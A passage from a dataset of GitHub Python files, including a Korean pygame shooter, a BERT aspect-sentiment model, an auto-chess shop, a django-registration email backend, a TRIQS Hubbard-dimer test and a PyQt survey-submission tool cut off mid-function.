# 총알이 맵 바깥으로 이동하면 삭제시키기\n if self.location[0] < 0 or self.location[0] > map_width_global:\n self.live = False\n elif self.location[1] < 0 or self.location[1] > map_height_global:\n self.live = False\n\n # 바이러스 총알 그리기\n def blit(self, surface : pygame.Surface) -> None:\n bullet = IMAGESDICT[\"bullet\"]\n bullet_rect = bullet.get_rect()\n bullet_rect.center = self.location\n surface.blit(bullet, bullet_rect)\n\n # 백신 총알 그리기 \n def blit_player(self, surface : pygame.Surface) -> None:\n bullet = IMAGESDICT[\"bullet_player\"]\n bullet_rect = bullet.get_rect()\n bullet_rect.center = self.location\n surface.blit(bullet, bullet_rect)\n\n# 모든 ���닛의 부모 클래스\n# 유닛의 대부분의 기능이 담겨 있다.\nclass Character(metaclass = abc.ABCMeta):\n pos_tolerance : int or float = 10\n def __init__(self, pos : tuple) -> None:\n # Character 클래스는 추상 클래스로 인스턴스를 만들 수 없다.\n # 모든 유닛들이 상속받아 사용한다.\n # 형식을 표기하고 극단값으로 정의한 프로퍼티들은 상속받은 클래스에서 재정의해야 한다.\n self._hp : int = 1e10 # 체력. 0 이하가 되면 사망하여 인스턴스가 삭제된다.\n self._attack_damage : int = 0 # 기본공격 데미지\n self._attack_speed : float = 1e-2 # 초당 기본공격 횟수\n self._attack_range : int = 0 # 기본공격 사거리\n self._is_alive = True # 살아있는지 확인하는 변수\n self._character_image : pygame.image = IMAGESDICT[\"dummy\"] # 해당 캐릭터의 이미지\n self._location : tuple = pos # 해당 인스턴스의 위치\n self._moving_speed : float = 0 # 이동 속도\n self._damaged : bool = False # 피격당했는지 확인하는 변수. 피격 이펙트를 띄우기 위함이다.\n self._tick : float = 0 # 공격 간 딜레이를 체크하는 변수\n\n # 체력 getter\n @property\n def hp(self):\n return self._hp\n \n # 체력 setter\n # 0 이하가 대입되면 0으로 고정하고 _is_alive에 False를 대입한다.\n @hp.setter\n def hp(self, hp):\n if hp <= 0:\n self._hp = 0\n self._is_alive = False\n print(type(self), \"가 사망하였습니다.\")\n else:\n self._hp = hp\n\n # _is_alive getter\n @property\n def is_alive(self):\n return self._is_alive\n\n # 피격 여부 getter\n @property\n def damaged(self):\n return self._damaged\n\n # 피격 여부 setter\n @damaged.setter\n def damaged(self, damaged : bool):\n self._damaged = damaged\n\n # 위치 getter\n @property\n def location(self):\n return self._location\n\n # 프레임마다 캐릭터 움직임 처리.\n # 추상 메소드로 하위 클래스에서 오버라이딩 필수\n # 몹 클래스에서는 오버라이딩하여 플레이어 추적하는 기능을 추가할 것.\n @abc.abstractmethod\n def make_move(self, map_obj : list, dir_pos : tuple, dt : float) -> None:\n pos = pygame.Vector2(self._location)\n dir = pygame.Vector2(dir_pos)\n offset = dir - pos\n\n # Character.pos_tolerance : offset의 크기가 일정 수준 이하일때 0으로 취급하지 않으면 목표 좌표에 도착하고\n # 진동하는 모습을 보인다. 따라서 이를 완화하기 위해 추가했다.\n if offset.length() <= Character.pos_tolerance:\n offset = (0, 0)\n # 프레임 변화에도 일정한 속도를 유지하기 위해 속도에 dt(프레임 사이의 시간 차이)를 곱한다.\n # pygame의 경우 맵의 크기가 커질수록 프레임이 떨어지기 때문에 맵 간 이동속도 차이가 날 수 있어 이런 조치를 했다.\n else:\n offset.scale_to_length(self._moving_speed * dt)\n\n # 이동할 좌표가 벽에 해당하는지 확인\n if is_wall(map_obj, pos[0] + offset[0], pos[1] + offset[1]):\n return\n\n # 위 조건을 모두 만족하면 자신의 위치를 변경한다.\n self._location = tuple(pos + offset)\n \n # 기본 공격 메소드\n @abc.abstractmethod\n # 현재 프레임의 dt를 받아 tick에 더한 뒤 반환한다.\n # 이후 반환한 tick을 다음 프레임에 다시 받아 dt를 더한다.\n # 이 과정이 반복되다가 충분한 시간이 지날 경우 기본 공격 인스턴스를 생성한다.\n def basic_attack(self, dir, tick, dt) -> float:\n self._tick = tick\n self._tick += dt\n if self._tick >= 1e3 / self._attack_speed:\n self._tick = 0\n bullet_list_mob.append(Bullet(self._location, dir))\n return self._tick\n\n # 피격 이펙트 그리기\n def blit_damaged(self, surface, rect):\n surface.blit(IMAGESDICT[\"damaged\"], rect)\n\n # 스킬 메서드\n @abc.abstractmethod\n def a_skill(self, surface, theta, skill_range, skill_dtspeed):\n pass\n\n # 캐릭터 그리기\n def blit_character(self, surface : pygame.Surface) -> None:\n character_image_rect = self._character_image.get_rect()\n character_image_rect.center = self._location\n surface.blit(self._character_image, character_image_rect)\n\n # 체력 표시하기\n def blit_hp(self, surface : pygame.Surface) -> None:\n hp_text = BASICFONT.render(f\"{self._hp}\", True, BLACK)\n hp_text_rect = hp_text.get_rect()\n hp_text_rect.center = (self._location[0], self._location[1] - 40)\n surface.blit(hp_text, hp_text_rect)\n\n# 플레이어 클래스\nclass Player(Character):\n # 플레이어는 하나만 존재하며 그 위치는 모든 몹에게 공개되어야 하므로\n # 정적 변수로 location을 만들어 매 순간 인스턴스의 위치 값을 동기화하도록 했다. \n location : tuple = (0, 0) \n def __init__(self, pos) -> None:\n super().__init__(pos)\n self._hp = 500\n self._attack_damage = 60\n self._attack_speed = 2.5\n self._attack_range = 200\n self._character_image = CHARACTERIMAGES[\"player\"]\n self._moving_speed = 0.1\n self._is_q_on = False\n # 매개변수로 플레이어를 주지 않아도 플레이어의 위치를 알도록 정적 변수에 동기화. \n Player.location = self._location\n\n # 공격 딜레이를 측정하는 tick 변수를 매 프레임마다 프레임 간의 시간 차이만큼 늘린다.\n def tick(self, dt):\n self._tick += dt\n\n # 기본 공격은 1초에 self._attack_speed의 값만큼 이루어지므로\n # self._tick으로 공격이 가능한지 시간을 측정한다.\n def basic_attack(self, dir) -> float:\n # 기본공격간 딜레이는 1/초당 공격횟수 이고 틱의 단위는 ms이므로 1000을 곱한다. \n if self._tick >= 1e3 / self._attack_speed:\n self._tick = 0\n bullet_list_player.append(Bullet(self._location, dir)) # 탄 발사\n\n # 플레이어가 공격 키를 눌렀을때 반응\n def a_click(self):\n self.ready_to_attack = True\n \n # 상위 클래스 Character의 이동 함수를 그대로 쓰되 오버라이딩해서 플레이어 위치를 정적 변수에 연동\n def make_move(self, map_obj: list, dir_pos: tuple, dt: float) -> tuple:\n super().make_move(map_obj, dir_pos, dt)\n Player.location = self._location\n\n # Q 스킬\n # 발동하면 공격 속도가 느려지는 대신 데미지가 증가하고\n # 다시 누르면 해제된다.\n def a_skill(self) -> None:\n if self._is_q_on:\n self._attack_speed /= 0.5\n self._attack_damage /= 3\n self._is_q_on = False\n else:\n self._attack_speed *= 0.5\n self._attack_damage *= 3\n self._is_q_on = True\n\n# 적 클래스. 세 종류 몬스터 클래스의 상위 클래스다.\n# 매 프레임마다 자동으로 플레이어에게 다가간다.\nclass Enemy(Character):\n def __init__(self, pos) -> None:\n super().__init__(pos)\n\n def basic_attack(self, dir, tick, dt) -> float:\n return super().basic_attack(dir, tick, dt)\n \n # 플레이어에게 다가가는 AI 설정\n def make_move(self, map_obj : list, dt : float, player) -> None:\n \n dir_pos = Player.location\n pos = pygame.Vector2(self._location)\n dir = pygame.Vector2(dir_pos)\n offset = dir - pos # 해당 몹 위치를 기준으로 플레이어 위치벡터\n\n # Character.pos_tolerance : offset의 크기가 일정 수준 이하일때 0으로 취급하지 않으면 목표 좌표에 도착하고\n # 진동하는 모습을 보인다. 따라서 이를 완화하기 위해 추가했다.\n if offset.length() <= Character.pos_tolerance:\n offset = (0, 0)\n # 몬스터의 경우 사거리 내에 플레이어가 존재하면 더 이상 이동하지 않고 공격한다.\n elif offset.length() <= self._attack_range:\n offset = (0, 0)\n self._tick = self.basic_attack(player.location, self._tick, dt)\n # 프레임 변화에도 일정한 속도를 유지하기 위해 속도에 dt(프레임 사이의 시간 차이)를 곱한다.\n # pygame의 경우 맵의 크기가 커질수록 프레임이 떨어지기 때문에 맵 간 이동속도 차이가 날 수 있어 이런 조치를 했다.\n else:\n offset.scale_to_length(self._moving_speed * dt)\n\n # 이동할 좌표가 벽에 해당하는지 확인\n if is_wall(map_obj, pos[0] + offset[0], pos[1] + offset[1]):\n return\n\n # 위 조건을 모두 만족하면 자신의 위치를 변경한다.\n self._location = tuple(pos + offset)\n return\n\n# 근접에서 바이러스를 쏘아낸다.\nclass SmallGolem(Enemy):\n def __init__(self, pos) -> None:\n super().__init__(pos)\n self._hp = 500\n self._attack_damage = 100\n self._attack_speed = 1.5\n self._attack_range = 50\n self._moving_speed = 0.12\n self._character_image : pygame.image = CHARACTERIMAGES[\"small golem\"]\n\n def a_skill(self):\n pass\n\n# 근접에서 바이러스를 쏘아낸다.\n# SmallGolem과 스펙이 다르다\nclass BigGolem(Enemy):\n def __init__(self, pos) -> None:\n super().__init__(pos)\n self._hp = 1000\n self._attack_damage = 150\n self._attack_speed = 2.0\n self._attack_range = 75\n self._moving_speed = 0.09\n self._character_image : pygame.image = CHARACTERIMAGES[\"big golem\"]\n\n def a_skill(self):\n pass\n\n# 원거리에서 바이러스를 쏘아낸다.\nclass Spirit(Enemy):\n def __init__(self, pos) -> None:\n super().__init__(pos)\n self._hp = 700\n self._attack_damage = 50\n self._attack_speed = 3\n self._attack_range = 500\n self._moving_speed = 0.15\n self._character_image : pygame.image = CHARACTERIMAGES[\"spirit\"]\n\n def a_skill(self):\n pass\n\n# 게임이 진행되는 surface를 받아서 필요한 요소들 그리기.\n# surface의 경우 매개변수로 받아 수정하면 함수 외부에 영향을 미치므로 반환값은 없음\ndef draw_map(map_obj, player : Player, mobs : list) -> None:\n map_surf_width = len(map_obj) * TILEWIDTH\n map_surf_height = (len(map_obj[0]) - 1) * TILEFLOORHEIGHT + TILEHEIGHT\n map_surf = pygame.Surface((map_surf_width, map_surf_height)) # 맵 픽셀 크기만큼 만들기\n map_surf.fill((BGCOLOR))\n\n # 맵 구조물들 그리기\n for x in range(len(map_obj)):\n for y in range(len(map_obj[x])):\n space_rect = pygame.Rect((x * TILEWIDTH, y * TILEFLOORHEIGHT, TILEWIDTH, TILEHEIGHT))\n base_tile = TILEMAPPING[map_obj[x][y]]\n map_surf.blit(base_tile, space_rect)\n\n # 플레이어와 몹 그리기\n player.blit_character(map_surf)\n\n for mob in mobs:\n mob.blit_character(map_surf)\n\n # 유닛 위에 그려질 수 있도록 부시와 나무들 다시 그리기\n for x in range(len(map_obj)):\n for y in range(len(map_obj[x])):\n if map_obj[x][y] in ['t', 'T', 'b']:\n space_rect = pygame.Rect((x * TILEWIDTH, y * TILEFLOORHEIGHT, TILEWIDTH, TILEHEIGHT))\n base_tile = TILEMAPPING[map_obj[x][y]]\n map_surf.blit(base_tile, space_rect)\n \n # 총알 그리기 및 피격 판정 적용시키기\n # 플레이어의 탄환\n for bullet in bullet_list_player:\n if bullet.live:\n bullet.blit_player(map_surf) # 총알 그리기\n for mob in mobs:\n # 총알과 몹 사이의 거리 측정\n d = math.sqrt((bullet.location[0] - mob.location[0])**2 + (bullet.location[1] - mob.location[1])**2)\n if player._is_q_on: # Q 스킬이 켜져 있을때 피격시 탄환 폭발\n if d <= 50:\n bullet.live = False\n for i in range(30):\n bullet_list_exploded.append(Bullet(bullet.location, (bullet.location[0] + math.cos(i*math.pi/15), bullet.location[1] + math.sin(i*math.pi/15))))\n elif d <= 25: # q 스킬이 꺼져 있을떄 피격시 데미지\n mob.damaged = True\n mob.hp -= int(player._attack_damage)\n bullet.live = False\n # 몬스터의 탄환\n for bullet in bullet_list_mob:\n if bullet.live:\n bullet.blit(map_surf)\n d = math.sqrt((bullet.location[0] - player.location[0])**2 + (bullet.location[1] - player.location[1])**2)\n if d <= 25:\n player.damaged = True\n player.hp -= 50\n bullet.live = False\n # q스킬에 의해 폭발한 탄환\n # 플레이어의 탄환과 구분한 이유는 구분하지 않을 시 무한하게 탄환이 증식하기 때문\n for bullet in bullet_list_exploded:\n if bullet.live:\n bullet.blit_player(map_surf)\n for mob in mobs:\n d = math.sqrt((bullet.location[0] - mob.location[0])**2 + (bullet.location[1] - mob.location[1])**2)\n if d <= 25:\n mob.damaged = True\n mob.hp -= int(player._attack_damage / 10)\n bullet.live = False\n\n\n # 유닛 피격 이펙트 그리기\n rect = IMAGESDICT[\"damaged\"].get_rect()\n if player.damaged:\n rect.center = Player.location\n player.blit_damaged(map_surf, rect)\n \n for mob in mobs:\n if mob.damaged:\n rect.center = mob.location\n mob.blit_damaged(map_surf, rect)\n\n # 유닛 위에 체력 숫자로 표기\n player.blit_hp(map_surf)\n for mob in mobs:\n mob.blit_hp(map_surf)\n\n return map_surf\n\n# 종료 함수\ndef terminate():\n pygame.quit()\n sys.exit()\n\nif __name__ == \"__main__\":\n main()","repo_name":"melpes/workspace","sub_path":"defeat_the_corona_demons/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":34857,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16666560050","text":"import torch\nimport torch.nn as nn\nfrom transformers import BertModel\n\n\nclass ALMBert(nn.Module):\n\n def __init__(self, n_classes, dropout):\n super().__init__()\n self.bert = BertModel.from_pretrained(\"bert-base-cased\")\n self.bert.requires_grad_(False)\n self.drop = nn.Dropout(p=dropout)\n\n self.ctx_att = nn.MultiheadAttention(embed_dim=self.bert.config.hidden_size, num_heads=4, dropout=dropout, batch_first=True)\n self.ctx_bn1 = nn.BatchNorm1d(768)\n self.ctx_lin = nn.Linear(768, 64)\n self.ctx_drp = nn.Dropout(dropout)\n self.ctx_bn2 = nn.BatchNorm1d(64)\n self.ctx_avg = nn.AvgPool1d(64)\n\n self.asp_att = nn.MultiheadAttention(embed_dim=self.bert.config.hidden_size, num_heads=4, dropout=dropout, batch_first=True)\n self.asp_bn1 = nn.BatchNorm1d(768)\n self.asp_lin = nn.Linear(768, 64)\n self.asp_drp = nn.Dropout(dropout)\n self.asp_bn2 = nn.BatchNorm1d(64)\n self.asp_avg = nn.AvgPool1d(64)\n\n self.linear = nn.Linear(int(75 + 75), n_classes)\n\n def forward(self, text_ids, text_attention, aspect_ids, aspect_attention):\n context, _ = self.bert(\n input_ids=text_ids,\n attention_mask=text_attention,\n return_dict=False\n )\n aspect, _ = self.bert(\n input_ids=aspect_ids,\n attention_mask=aspect_attention,\n return_dict=False\n )\n asp_out, _ = self.asp_att(context, aspect, aspect)\n asp_out = self.asp_bn1(torch.swapaxes(asp_out, 1, 2))\n asp_out = self.asp_lin(torch.swapaxes(asp_out, 1, 2))\n asp_out = nn.functional.relu(asp_out)\n asp_out = self.asp_drp(asp_out)\n asp_out = self.asp_bn2(torch.swapaxes(asp_out, 1, 2))\n asp_out = self.asp_avg(torch.swapaxes(asp_out, 1, 2)).squeeze(dim=2)\n\n ctx_out, _ = self.ctx_att(context, context, context)\n ctx_out = self.ctx_bn1(torch.swapaxes(ctx_out, 1, 2))\n ctx_out = self.ctx_lin(torch.swapaxes(ctx_out, 1, 2))\n ctx_out = nn.functional.relu(ctx_out)\n ctx_out = self.ctx_drp(ctx_out)\n ctx_out = self.ctx_bn2(torch.swapaxes(ctx_out, 1, 2))\n ctx_out = self.ctx_avg(torch.swapaxes(ctx_out, 1, 2)).squeeze(dim=2)\n\n out = torch.concat([asp_out, ctx_out], dim=1)\n\n return self.linear(out)","repo_name":"pskiers/ABSA-LAPTOPS","sub_path":"models/alm_bert.py","file_name":"alm_bert.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"29820646698","text":"import random\nfrom ChessPiece import *\n\nclass PlayerInventory:\n def __init__(self):\n self.inventory = []\n self.gold = 5\n\n def add_piece(self, piece):\n if piece.cost > self.gold:\n print(\"You do not have enough gold to buy this piece.\")\n return False\n self.inventory.append(piece)\n self.gold -= piece.cost\n print(\"You bought a\", piece.name, \"for\", piece.cost, \"gold.\")\n return True\n\n def remove_piece(self, piece_index):\n if piece_index >= len(self.inventory):\n print(\"Invalid piece index.\")\n return\n piece = self.inventory[piece_index]\n self.gold += piece.cost\n self.inventory.pop(piece_index)\n print(\"You sold a\", piece.name, \"for\", piece.cost, \"gold.\")\n\n def __str__(self):\n inventory_str = \"Inventory:\\n\"\n for i, piece in enumerate(self.inventory):\n inventory_str += str(i) + \". \" + piece.name + \"\\n\"\n inventory_str += \"Gold: \" + str(self.gold) + \"\\n\"\n return inventory_str\n\nclass AutoChessShop:\n def __init__(self):\n self.inventory = PlayerInventory()\n self.shop = []\n self.generate_shop()\n\n def generate_shop(self):\n self.shop = []\n for i in range(5):\n piece = self.random_chess_piece()\n self.shop.append(piece)\n\n def random_chess_piece(self):\n piece_types = [Pawn, Knight, Bishop, Rook, Queen, King]\n piece_type = random.choice(piece_types)\n piece = piece_type()\n return piece\n\n def buy_piece(self, piece_index):\n if piece_index >= len(self.shop):\n print(\"Invalid piece index.\")\n return\n piece = self.shop[piece_index]\n success = self.inventory.add_piece(piece)\n if success:\n self.shop.pop(piece_index)\n self.generate_shop()\n\n def sell_piece(self, piece_index):\n self.inventory.remove_piece(piece_index)\n\n def reroll_shop(self):\n if self.inventory.gold < 2:\n print(\"You do not have enough gold to reroll.\")\n return\n self.inventory.gold -= 2\n self.generate_shop()\n print(\"You rerolled the shop for 2 gold.\")\n\n def print_shop(self):\n print(\"Shop:\")\n for i, piece in enumerate(self.shop):\n print(str(i) + \".\", piece.name, \"-\", piece.cost, \"gold\")\n print(\"\")\n\n def print_inventory(self):\n print(self.inventory)\n\n def play(self):\n while True:\n self.print_shop()\n self.print_inventory()\n print(\"What would you like to do?\")\n print(\"1. Buy a piece\")\n print(\"2. Sell a piece\")\n print(\"3. Reroll the shop\")\n print(\"4. End turn\")\n choice = input(\"> \")\n if choice == \"1\":\n piece_index = int(input(\"Enter the index of the piece you would like to buy: \"))\n self.buy_piece(piece_index)\n elif choice == \"2\":\n piece_index = int(input(\"Enter the index of the piece you would like to sell: \"))\n self.sell_piece(piece_index)\n elif choice == \"3\":\n self.reroll_shop()\n elif choice == \"4\":\n break\n else:\n print(\"Invalid choice.\")\n\nif __name__ == \"__main__\":\n shop = AutoChessShop()\n shop.play()\n","repo_name":"come219-bot/codespaces_python_chess","sub_path":"src/autochesschess_folder/player_shop_v0.py","file_name":"player_shop_v0.py","file_ext":"py","file_size_in_byte":3398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"36342091520","text":"\"\"\" Tests for primes \n\nIf you have an idea about primes you can test it here.\n\n\"\"\"\n\nimport unittest\n\nfrom hypothesis import given, example\n\nfrom hypothesis.strategies import integers\n\n\nfrom karmapi import prime\n\n\nPRIMES = set([2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31])\n\ndef isprime(n):\n \"\"\" In lieu of somebody else solving this problem \n\n Returns True if n is prime\n \n Returns False if n is not prime.\n\n Return None if not sure. Currently, not sure if n > 23.\n \"\"\"\n\n maxp = max(PRIMES)\n\n if n > maxp:\n return None\n \n if n in PRIMES:\n return True\n\n return False\n\nclass Prime(unittest.TestCase):\n\n\n def _test_isprime(self):\n\n self.assertEqual(\n prime.isprime(2), isprime(2))\n\n def test_is2prime(self):\n\n\n self.assertEqual(\n prime.isprime(2), True)\n\n\n @given(integers(min_value=2, max_value=10000))\n @example(25)\n def test_isnprime(self, n):\n\n is_it_prime = isprime(n)\n\n karma_prime = prime.isprime(n)\n \n if is_it_prime != None:\n # if isprime knows, check it agrees with our version\n \n assert(is_it_prime == karma_prime)\n \n","repo_name":"openbermuda/karmapi","sub_path":"tests/test_primes.py","file_name":"test_primes.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"} +{"seq_id":"39721008679","text":"num=5\r\nfact=1\r\nif num<1: \r\n print(\"Factorial does'nt exist for negative number\")\r\nelif num==0: \r\n print(\"Factorial is 1\")\r\nelse: \r\n\r\n for i in range(1,num+1): \r\n fact=fact* i\r\nprint(\"The factorial of number is\",fact)","repo_name":"gaastha/my-python-learning","sub_path":"13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4003885385","text":"from django.conf import settings\nfrom django.contrib.sites.models import RequestSite\nfrom django.contrib.sites.models import Site\n\nfrom registration import signals\nfrom extendedregistrationbackend.forms import ExtendedRegistrationForm\nfrom registration.models import RegistrationProfile\nfrom registration.backends.default import DefaultBackend\n\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom warnings import warn\n\n\ndef normalize_email(email):\n return email.strip().lower()\n\n\nclass ExtendedBackend(DefaultBackend):\n def register(self, request, **kwargs):\n \"\"\"\n Given a username, email address and password, register a new\n user account, which will initially be inactive.\n\n Along with the new ``User`` object, a new\n ``registration.models.RegistrationProfile`` will be created,\n tied to that ``User``, containing the activation key which\n will be used for this account.\n\n An email will be sent to the supplied email address; this\n email should contain an activation link. The email will be\n rendered using two templates. See the documentation for\n ``RegistrationProfile.send_activation_email()`` for\n information about these templates and the contexts provided to\n them.\n\n After the ``User`` and ``RegistrationProfile`` are created and\n the activation email is sent, the signal\n ``registration.signals.user_registered`` will be sent, with\n the new ``User`` as the keyword argument ``user`` and the\n class of this backend as the sender.\n\n \"\"\"\n username, email, password = kwargs['username'], kwargs['email'], kwargs['password1']\n # normalize email\n normalization_func = getattr(settings,'EMAIL_NORMALIZATION_FUNCTION',normalize_email)\n email = normalization_func(email)\n\n if Site._meta.installed:\n site = Site.objects.get_current()\n else:\n site = RequestSite(request)\n # Create user but do not send activation email\n new_user = RegistrationProfile.objects.\\\n create_inactive_user(username, email,\n password, site,\n False)\n profile = new_user.registrationprofile_set.all()[0]\n\n self.send_activation_email(site, profile)\n signals.user_registered.send(sender=self.__class__,\n user=new_user,\n request=request)\n return new_user\n\n def get_form_class(self, request):\n \"\"\"\n Return the default form class used for user registration.\n\n \"\"\"\n return ExtendedRegistrationForm\n\n def send_activation_email(self, site, profile):\n user = profile.user\n ctx_dict = {'activation_key': profile.activation_key,\n 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS,\n 'site': site,\n 'email': user.email}\n\n # Email subject *must not* contain newlines\n subject = ''.join(\\\n render_to_string('registration/activation_email_subject.txt',\n ctx_dict).splitlines())\n\n from_email = settings.DEFAULT_FROM_EMAIL\n to_email = user.email\n\n text_content = render_to_string('registration/activation_email.txt',\n ctx_dict)\n try:\n html_content = render_to_string('registration/activation_email.html',\n ctx_dict)\n except:\n # If any error occurs during html preperation do not add html content\n # This is here to make sure when we switch from default backend to extended\n # we do not get any missing here\n html_content = None\n # XXX we should not catch all exception for this\n warn('registration/activation_email.html template cannot be rendered. Make sure you have it to send HTML messages. Will send email as TXT')\n\n msg = EmailMultiAlternatives(subject,\n text_content,\n from_email,\n [to_email])\n if html_content:\n msg.attach_alternative(html_content, \"text/html\")\n\n msg.send()\n\n","repo_name":"huseyinyilmaz/django-registration-extended-backend","sub_path":"extendedregistrationbackend/extended/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"33540612628","text":"from h5 import HDFArchive\nfrom triqs.operators import c, c_dag, n\nfrom triqs.utility import mpi\nfrom triqs.utility.comparison_tests import *\nfrom pomerol2triqs import PomerolED\nfrom itertools import product\n\n# Hubbard dimer\n\n####################\n# Input parameters #\n####################\n\nbeta = 2.0 # Inverse temperature\neps = [-1.9, -2.1] # Energy levels of the atoms\nt = 0.5 # Hopping matrix element\nU = 4.0 # Coulomb repulsion\nh_field = 0.05 # Magnetic field\n\nspin_names = (\"up\", \"dn\")\natoms = (0, 1)\n\n# Number of bosonic Matsubara frequencies for susceptibility calculation\nn_iw = 10\n# Number of fermionic Matsubara frequencies for susceptibility calculation\nn_inu = 10\n\n# Block structure of \\chi^3\ngf_struct = [['up', 2], ['dn', 2]]\n\n# Conversion from TRIQS to Pomerol notation for operator indices\nindex_converter = {}\nindex_converter.update({(sn, 0) : (\"A\", 0, \"down\" if sn == \"dn\" else \"up\") for sn in spin_names})\nindex_converter.update({(sn, 1) : (\"B\", 0, \"down\" if sn == \"dn\" else \"up\") for sn in spin_names})\n\n# Make PomerolED solver object\ned = PomerolED(index_converter, verbose = True)\n\n# Hamiltonian\nH = sum(e * n(s, a) for (a, e), s in product(zip(atoms, eps), spin_names))\nH += sum(-h_field * (n('up', a) - n('dn', a)) for a in atoms)\nH += U * sum(n('up', a) * n('dn', a) for a in atoms)\nH += t * sum((c_dag(sp, 0) * c(sp, 1) + c_dag(sp, 1) * c(sp, 0)) for sp in spin_names)\n\n# Diagonalize H\ned.diagonalize(H)\n\n##################\n# Compute \\chi^3 #\n##################\n\nparams = {'gf_struct': gf_struct, 'beta': beta, 'n_iw': n_iw, 'n_inu': n_inu}\n\n# Particle-particle channel\nchi3_pp_AABB = ed.chi3_iw_inu(**params, channel='PP', block_order='AABB')\nchi3_pp_ABBA = ed.chi3_iw_inu(**params, channel='PP', block_order='ABBA')\n\n# Particle-hole channel\nchi3_ph_AABB = ed.chi3_iw_inu(**params, channel='PH', block_order='AABB')\nchi3_ph_ABBA = ed.chi3_iw_inu(**params, channel='PH', block_order='ABBA')\n\n# Crossed particle-hole channel\nchi3_xph_AABB = ed.chi3_iw_inu(**params, channel='xPH', block_order='AABB')\nchi3_xph_ABBA = ed.chi3_iw_inu(**params, channel='xPH', block_order='ABBA')\n\nif mpi.is_master_node():\n with HDFArchive('dimer_chi3_np%i.out.h5' % mpi.size, 'w') as ar:\n ar['H'] = H\n ar['chi3_pp_AABB'] = chi3_pp_AABB\n ar['chi3_pp_ABBA'] = chi3_pp_ABBA\n ar['chi3_ph_AABB'] = chi3_ph_AABB\n ar['chi3_ph_ABBA'] = chi3_ph_ABBA\n ar['chi3_xph_AABB'] = chi3_xph_AABB\n ar['chi3_xph_ABBA'] = chi3_xph_ABBA\n\n with HDFArchive(\"dimer_chi3.ref.h5\", 'r') as ar:\n assert (ar['H'] - H).is_zero()\n for bn1, bn2 in product(spin_names, spin_names):\n assert_gfs_are_close(ar['chi3_pp_AABB'][bn1, bn2], chi3_pp_AABB[bn1, bn2])\n assert_gfs_are_close(ar['chi3_pp_ABBA'][bn1, bn2], chi3_pp_ABBA[bn1, bn2])\n assert_gfs_are_close(ar['chi3_ph_AABB'][bn1, bn2], chi3_ph_AABB[bn1, bn2])\n assert_gfs_are_close(ar['chi3_ph_ABBA'][bn1, bn2], chi3_ph_ABBA[bn1, bn2])\n assert_gfs_are_close(ar['chi3_xph_AABB'][bn1, bn2], chi3_xph_AABB[bn1, bn2])\n assert_gfs_are_close(ar['chi3_xph_ABBA'][bn1, bn2], chi3_xph_ABBA[bn1, bn2])\n","repo_name":"pomerol-ed/pomerol2triqs","sub_path":"test/python/dimer_chi3.py","file_name":"dimer_chi3.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"27"} +{"seq_id":"72568762633","text":"import sys\nfrom PyQt5 import QtCore, QtWidgets\nimport re\nimport time\nimport _thread\nfrom api import Poll\nfrom main_ui import Ui_Form\n\n\nclass Communicate(QtCore.QObject):\n signal = QtCore.pyqtSignal(list)\n\n\nclass Main:\n running = False\n log_fo = None\n\n def __init__(self):\n self.sig = Communicate()\n self.sig.signal.connect(self.update_log)\n\n self.form = QtWidgets.QWidget()\n self.ui = Ui_Form()\n self.ui.setupUi(self.form)\n\n self.msgBox = QtWidgets.QMessageBox()\n self.ui.btn_ok.clicked.connect(self.btn_start_click_event)\n self.ui.btn_stop.clicked.connect(self.btn_stop_click_event)\n self.form.setWindowTitle('10086问卷调查(beta1)')\n # self.ui.label.setText('延迟')\n # self.ui.label_2.setText('小时')\n\n def update_log(self, val):\n self.ui.progressBar.setValue(int(val[0] * 100))\n self.ui.txbLogs.appendPlainText(val[1])\n\n def btn_stop_click_event(self):\n self.ui.txbList.setReadOnly(False)\n self.ui.progressBar.setValue(0)\n self.ui.spinBox.setReadOnly(False)\n if self.running is False:\n return\n self.ui.txbLogs.appendPlainText(u\"停止执行\")\n self.running = False\n self.log_close()\n\n def btn_start_click_event(self):\n if self.running:\n return\n text = self.ui.txbList.toPlainText()\n if not text.strip():\n self.msgBox.warning(self.form, u'通知', u'内容为空')\n return\n self.ui.txbList.setReadOnly(True)\n self.ui.spinBox.setReadOnly(True)\n self.ui.txbLogs.setPlainText('开始执行...')\n # replace user input text\n text = text.replace('\t', '|')\n text = re.sub(' +', ' ', text)\n # init log file handler\n self.init_log()\n # start new thread\n _thread.start_new_thread(self.poll_start, (text, ))\n\n def init_log(self):\n if self.log_fo:\n pass\n else:\n filename = '%s.txt' % time.strftime('%Y%m%d%H%M%S', time.localtime())\n self.log_fo = open(filename, 'w+', encoding='utf-8')\n\n def log_close(self):\n if self.log_fo:\n self.log_fo.close()\n self.log_fo = None\n\n def write_log(self, msg):\n if self.log_fo:\n self.log_fo.write(msg+'\\r\\n')\n\n def poll_start(self, text):\n self.running = True\n pre_time = self.ui.spinBox.value()\n fmt = '%Y/%m/%d %H:%M'\n poll = Poll()\n success_list = []\n data = []\n for i in text.split('\\n'):\n if i[0:1] == '#' or i.strip() == '':\n continue\n else:\n data.append(i)\n\n while True:\n if not self.running:\n self.log_close()\n break\n\n # print(success_list)\n if len(success_list) == len(data):\n self.sig.signal.emit([0, u'执行结束'])\n self.running = False\n self.ui.spinBox.setReadOnly(False)\n self.ui.txbList.setReadOnly(False)\n self.log_close()\n\n for line in data:\n try:\n x = line.split('|')\n now = int(time.time())\n user_date = time.mktime(time.strptime(x[0], fmt))\n except Exception as e:\n self.sig.signal.emit([0, u'列表格式错误,已停止执行'])\n 